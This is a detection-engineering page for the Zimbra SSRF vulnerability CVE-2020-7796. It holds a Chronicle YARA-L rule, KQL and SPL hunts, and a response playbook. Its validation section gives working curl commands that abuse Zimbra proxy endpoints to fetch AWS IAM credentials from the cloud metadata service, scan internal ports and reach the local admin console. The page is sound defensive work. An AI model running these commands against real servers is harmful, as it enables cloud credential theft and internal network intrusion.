CVE-2020-7796 Google Chronicle · YARA-L

Detect Zimbra Collaboration Suite SSRF Exploitation (CVE-2020-7796) in Google Chronicle

Detects exploitation attempts targeting CVE-2020-7796, a Server-Side Request Forgery (SSRF) vulnerability in Synacor Zimbra Collaboration Suite (ZCS). This vulnerability allows unauthenticated remote attackers to make the Zimbra server issue arbitrary HTTP requests to internal or external resources, potentially enabling internal network scanning, credential theft, or pivoting to internal services.

MITRE ATT&CK

Tactic
Reconnaissance Discovery Lateral Movement

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule zimbra_ssrf_cve_2020_7796 {
  meta:
    author = "df00tech"
    description = "Detects SSRF exploitation attempts targeting Zimbra Collaboration Suite CVE-2020-7796"
    severity = "HIGH"
    priority = "HIGH"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2020-7796"
    yara_version = "YL2.0"
    rule_version = "1.0"

  events:
    $request.metadata.event_type = "NETWORK_HTTP"
    $request.target.url != ""
    (
      re.regex($request.target.url, `(?i)/service/proxy`) or
      re.regex($request.target.url, `(?i)/zimlet/`) or
      re.regex($request.target.url, `(?i)/service/extension/`)
    )
    re.regex($request.target.url, `(?i)[?&](target|host|url|backend|redirect)=https?://`)
    (
      re.regex($request.target.url, `169\.254\.`) or
      re.regex($request.target.url, `127\.0\.0\.1`) or
      re.regex($request.target.url, `(?i)localhost`) or
      re.regex($request.target.url, `(?i)metadata\.google`) or
      re.regex($request.target.url, `(?i)\.internal`)
    )
    $request.principal.ip = $source_ip

  match:
    $source_ip over 10m

  outcome:
    $request_count = count_distinct($request.target.url)
    $target_hosts = array_distinct($request.target.hostname)

  condition:
    #request > 0
}
high severity medium confidence

Chronicle YARA-L rule to detect Zimbra SSRF exploitation by monitoring HTTP requests to vulnerable Zimbra endpoints that embed internal network addresses or cloud metadata service URLs.

Data Sources

Chronicle UDM Network EventsWeb Proxy Logs ingested to ChronicleFirewall Logs

Required Tables

network_http

False Positives & Tuning

  • Zimbra proxy functionality used legitimately for cross-server mail routing
  • Authorized security assessments generating SSRF test payloads
  • Zimbra integrations with internal cloud services using proxy endpoints

Other platforms for CVE-2020-7796

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Zimbra SSRF via /service/proxy to Internal Metadata Service

    Expected signal: HTTP GET request to /service/proxy with target parameter set to 169.254.169.254 visible in Zimbra access logs; outbound network connection from Zimbra server to 169.254.169.254:80 visible in network flow data

  2. Test 2Zimbra SSRF Internal Port Scan via /service/proxy

    Expected signal: Multiple sequential requests to /service/proxy with varying port numbers in the target parameter; outbound connections from Zimbra host to internal IP across multiple ports within a short time window

  3. Test 3Zimbra SSRF to Internal Admin Interface via /zimlet/ Endpoint

    Expected signal: HTTP GET to /zimlet/ endpoint with backend parameter containing 127.0.0.1 and internal admin port 7071; loopback connection attempt from Zimbra process visible in netstat/ss output or network telemetry

  4. Test 4Zimbra SSRF Credential Harvest via AWS EC2 Metadata

    Expected signal: Two sequential requests to /service/proxy with IMDSv1 paths in target parameter; successful 200 response containing JSON with AccessKeyId, SecretAccessKey, and Token fields if running on AWS EC2 without IMDSv2 enforcement

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the source IP initiating the SSRF request and determine if it is a known internal asset, external IP, or Tor/VPN exit node by cross-referencing threat intelligence feeds.
  2. Extract the SSRF target URL from the request query string and classify the target: cloud metadata service (169.254.169.254), loopback/localhost, RFC1918 internal network, or external attacker-controlled host.
  3. Review Zimbra access logs for the source IP in the 24 hours preceding the alert to determine if this is the first request or part of a sustained reconnaissance campaign.
  4. Check whether the Zimbra server has outbound firewall rules restricting connections to internal network ranges and metadata services — a successful SSRF requires an outbound connection to be possible.
  5. Correlate the source IP with authentication logs to determine if the attacker has an authenticated session or is exploiting the vulnerability unauthenticated.

Containment

  1. Immediately block the source IP at the perimeter firewall or WAF and revoke any active Zimbra sessions originating from that IP using the Zimbra admin console (Admin > Active Sessions).
  2. Apply WAF rules to block requests to /service/proxy, /zimlet/, and /service/extension/ endpoints containing URL-encoded or plaintext redirect/target/host/url parameters pointing to internal RFC1918, loopback, or metadata service addresses.
  3. Implement outbound egress filtering on the Zimbra host to prevent the server from initiating connections to 169.254.169.254, 127.0.0.1, and RFC1918 ranges except for explicitly required mail routing destinations.

Evidence Collection

  1. Preserve full Zimbra access logs (/opt/zimbra/log/access.log and /opt/zimbra/log/zimbra.log) covering the attack window, ensuring log rotation does not destroy evidence before acquisition.
  2. Capture network flow records (NetFlow/IPFIX or packet captures) from the Zimbra host's network interface for the attack time window to confirm whether SSRF-initiated outbound connections succeeded and what data may have been exfiltrated.
  3. Export the Zimbra server's running process list, open network connections (ss -tulpn), and environment variables at the time of containment to detect any persistence mechanisms or credential harvesting that may have followed a successful SSRF.

Escalation Criteria

  • !Escalate to incident response if the SSRF target is the cloud instance metadata service (169.254.169.254) and HTTP status 200 responses are observed, indicating potential IAM credential theft.
  • !Escalate immediately if post-exploitation indicators are detected such as new admin accounts created in Zimbra, configuration changes, or outbound connections to attacker-controlled C2 infrastructure following the SSRF activity.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Zimbra access log entries (/opt/zimbra/log/access.log) containing /service/proxy or /zimlet/ requests with target/host/url/backend parameters referencing internal addresses
  • >Network flow records showing outbound connections from the Zimbra server to RFC1918 ranges, loopback, or 169.254.169.254 initiated within milliseconds of the inbound HTTP request
  • >Zimbra mailbox server logs showing unexpected inter-process communication or unusual Java process network activity
  • >WAF or reverse proxy logs capturing the raw HTTP request including all query parameters and response codes to confirm exploitation success

Tuning Guidance

Start with a high-sensitivity deployment targeting all /service/proxy and /zimlet/ requests with URL parameters, then reduce false positives by whitelisting known legitimate Zimbra federation partner IP ranges and approved internal proxy targets. If your Zimbra deployment uses the proxy endpoint for calendar federation with internal CalDAV servers, add those specific internal IP targets to an allowlist rather than suppressing the entire detection. Monitor the http_status field — a 200 response to an SSRF attempt is significantly higher severity than a 403 or 500, and warrants immediate escalation. Tune the internal network regex patterns to match your specific RFC1918 allocation to avoid over-triggering on public IP ranges that happen to start with similar octets.

Hunting Queries

Broad 30-day hunt across Zimbra web logs to identify any historical SSRF attempts that may not have been alerted, revealing the full scope of reconnaissance activity and whether exploitation preceded the detection window.

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated > ago(30d)
| where csUriStem has_any ("/service/proxy", "/zimlet/", "/service/extension/")
| where csUriQuery has_any ("target=", "host=", "url=", "backend=", "redirect=")
| extend PotentialSSRFTarget = extract(@"(?i)(?:target|host|url|backend|redirect)=([^&\s]+)", 1, csUriQuery)
| where isnotempty(PotentialSSRFTarget)
| summarize RequestCount = count(), UniqueSourceIPs = dcount(cIP), UniqueTargets = make_set(PotentialSSRFTarget, 20) by bin(TimeGenerated, 1h), csHost
| order by RequestCount desc
Hunting — SPL
spl 
index=web (uri_path="/service/proxy*" OR uri_path="/zimlet/*" OR uri_path="/service/extension/*") (uri_query="*target=*" OR uri_query="*host=http*" OR uri_query="*url=http*") earliest=-30d
| rex field=uri_query "(?i)(?:target|host|url|backend|redirect)=(?<ssrf_target>[^&\s]+)"
| where isnotnull(ssrf_target)
| timechart span=1h count by ssrf_target limit=10

Atomic Red Team Tests

Test 1 Zimbra SSRF via /service/proxy to Internal Metadata Service
linux

Simulates an attacker exploiting CVE-2020-7796 to send a forged request from the Zimbra server to the cloud instance metadata service endpoint to harvest IAM credentials.

Command

bash 
curl -sk 'http://ZIMBRA_HOST/service/proxy?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -H 'Host: ZIMBRA_HOST' -v 2>&1 | tee /tmp/zimbra_ssrf_metadata_test.txt

Cleanup

bash 
rm -f /tmp/zimbra_ssrf_metadata_test.txt

Expected Telemetry

HTTP GET request to /service/proxy with target parameter set to 169.254.169.254 visible in Zimbra access logs; outbound network connection from Zimbra server to 169.254.169.254:80 visible in network flow data

Expected Detection

Alert triggered on detection of /service/proxy request with target=http://169.254.169.254 matching internal metadata service pattern

Test 2 Zimbra SSRF Internal Port Scan via /service/proxy
linux

Simulates attacker using Zimbra as a proxy to enumerate open ports on an internal host, a common post-SSRF reconnaissance technique.

Command

bash 
for port in 22 80 443 8080 8443 3306 5432 6379 27017 9200; do echo "Testing port $port:"; curl -sk --max-time 3 "http://ZIMBRA_HOST/service/proxy?target=http://192.168.1.1:${port}/" -o /dev/null -w "%{http_code}\n"; done 2>&1 | tee /tmp/zimbra_ssrf_portscan.txt

Cleanup

bash 
rm -f /tmp/zimbra_ssrf_portscan.txt

Expected Telemetry

Multiple sequential requests to /service/proxy with varying port numbers in the target parameter; outbound connections from Zimbra host to internal IP across multiple ports within a short time window

Expected Detection

Detection fires on first internal-targeting SSRF request; volume-based rule may trigger on the rapid sequential requests across multiple ports

Test 3 Zimbra SSRF to Internal Admin Interface via /zimlet/ Endpoint
linux

Tests SSRF via the /zimlet/ endpoint to access an internal administrative web interface not exposed externally, simulating lateral movement enablement.

Command

bash 
curl -sk 'http://ZIMBRA_HOST/zimlet/com_zimbra_proxy_config/config?backend=http://127.0.0.1:7071/zimbraAdmin/' -H 'Host: ZIMBRA_HOST' -v 2>&1 | tee /tmp/zimbra_ssrf_admin_test.txt

Cleanup

bash 
rm -f /tmp/zimbra_ssrf_admin_test.txt

Expected Telemetry

HTTP GET to /zimlet/ endpoint with backend parameter containing 127.0.0.1 and internal admin port 7071; loopback connection attempt from Zimbra process visible in netstat/ss output or network telemetry

Expected Detection

Alert triggered on /zimlet/ request containing backend=http://127.0.0.1 matching loopback SSRF pattern

Test 4 Zimbra SSRF Credential Harvest via AWS EC2 Metadata
linux

Simulates attacker exploiting Zimbra SSRF to steal AWS EC2 instance credentials from the IMDSv1 metadata endpoint, a critical impact scenario for cloud-hosted Zimbra deployments.

Command

bash 
ROLE=$(curl -sk --max-time 5 'http://ZIMBRA_HOST/service/proxy?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/' 2>/dev/null); echo "Role found: $ROLE"; curl -sk --max-time 5 "http://ZIMBRA_HOST/service/proxy?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE}" 2>&1 | tee /tmp/zimbra_ssrf_aws_creds.txt

Cleanup

bash 
rm -f /tmp/zimbra_ssrf_aws_creds.txt

Expected Telemetry

Two sequential requests to /service/proxy with IMDSv1 paths in target parameter; successful 200 response containing JSON with AccessKeyId, SecretAccessKey, and Token fields if running on AWS EC2 without IMDSv2 enforcement

Expected Detection

Detection fires on first metadata service SSRF request; CSPM or AWS CloudTrail may additionally alert on credential use from an unexpected IP if attacker extracts and uses the credentials

Related Detections

Tactic Hubs

TA0043ReconnaissanceTA0007DiscoveryTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1083File and Directory DiscoveryT1046Network Service DiscoveryT1552.005Cloud Instance Metadata API

Same Tactic: Reconnaissance

Popular Detections